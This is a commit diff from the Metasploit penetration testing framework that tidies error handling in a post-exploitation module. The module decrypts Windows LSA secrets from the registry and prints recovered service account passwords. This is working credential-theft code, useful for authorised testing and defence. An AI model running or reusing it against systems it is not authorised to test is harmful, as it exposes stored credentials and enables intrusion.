remove the insane amount of rescues

bug/bundler_fix
Rob Fuller 2013-10-16 22:58:14 -04:00
parent 1a85bd22a8
commit 8be21a7413
1 changed files with 50 additions and 61 deletions

View File

@ -151,7 +151,7 @@ class Metasploit3 < Msf::Post
aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc") aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
aes.key = sha256x.digest aes.key = sha256x.digest
#print_status("digest #{sha256x.digest.unpack("H*")[0]}") vprint_status("digest #{sha256x.digest.unpack("H*")[0]}")
decryptedkey = '' decryptedkey = ''
@ -161,16 +161,18 @@ class Metasploit3 < Msf::Post
xx = aes.update(pol[i...i+16]) xx = aes.update(pol[i...i+16])
decryptedkey += xx decryptedkey += xx
end end
#print_good("Dec_Key #{decryptedkey}") vprint_good("Dec_Key #{decryptedkey}")
return decryptedkey return decryptedkey
end end
def reg_getvaldata(key,valname) def reg_getvaldata(key,valname)
v = nil v = nil
begin begin
root_key, base_key = client.sys.registry.splitkey(key) root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
#print("reading key: #{key}#{valname}\n") vprint_status("reading key: #{key}#{valname}\n")
v = open_key.query_value(valname).data v = open_key.query_value(valname).data
open_key.close open_key.close
rescue rescue
@ -178,72 +180,59 @@ class Metasploit3 < Msf::Post
end end
return v return v
end end
#Decrypted LSA key is passed into this function #Decrypted LSA key is passed into this function
def get_secret(lkey) def get_secret(lkey)
sec_str = "\n" sec_str = "\n"
begin
#LSA Secret key location within the register
root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\"
begin
key_arr = meterpreter_registry_enumkeys(root_key)
key_arr.each do |keys|
begin
mid_key = root_key + "\\" + keys
sk_arr = meterpreter_registry_enumkeys(mid_key)
sk_arr.each do |mkeys|
begin
#CurrVal stores the currently set value of the key, in the case of
#services it usually come out as plan text
if(mkeys == "CurrVal")
val_key = root_key + "\\" + keys + "\\" + mkeys
v_name = ""
sec = reg_getvaldata(val_key, v_name)
if( @vista == 1 )
#Magic happens here
sec = sec[0..-1]
sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join
else
#and here
sec = sec[0xC..-1]
sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join
end
if(sec.length > 0)
if(keys[0,4] == "_SC_")
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
keys_c = keys[4,keys.length]
user_key = user_key << keys_c
n_val = "ObjectName"
user_n = reg_getvaldata(user_key, n_val)
#if the unencrypted value is not blank and is a service, print #LSA Secret key location within the register
print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n") root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\"
sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n"
else key_arr = meterpreter_registry_enumkeys(root_key)
#if the unencrypted value is not blank, print key_arr.each do |keys|
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n") mid_key = root_key + "\\" + keys
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n" sk_arr = meterpreter_registry_enumkeys(mid_key)
end sk_arr.each do |mkeys|
end
else #CurrVal stores the currently set value of the key, in the case of
next #services it usually come out as plan text
end if(mkeys == "CurrVal")
rescue ::Exception => e val_key = root_key + "\\" + keys + "\\" + mkeys
print_error("Unable to open: #{val_key}") v_name = ""
print_error("Error: #{e.class} #{e}") sec = reg_getvaldata(val_key, v_name)
end if( @vista == 1 )
#Magic happens here
sec = sec[0..-1]
sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join
else
#and here
sec = sec[0xC..-1]
sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join
end
if(sec.length > 0)
if(keys[0,4] == "_SC_")
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
keys_c = keys[4,keys.length]
user_key = user_key << keys_c
n_val = "ObjectName"
user_n = reg_getvaldata(user_key, n_val)
#if the unencrypted value is not blank and is a service, print
print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n"
else
#if the unencrypted value is not blank, print
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n"
end end
rescue else
print_error("Unable to open: #{mid_key}") next
end end
end end
rescue ::Exception => e
print_error("Unable to open: #{root_key}")
print_error("Error: #{e.class} #{e}")
end end
rescue return sec_str
print_error("Cannot find key.")
end
return sec_str
end end
# The sauce starts here # The sauce starts here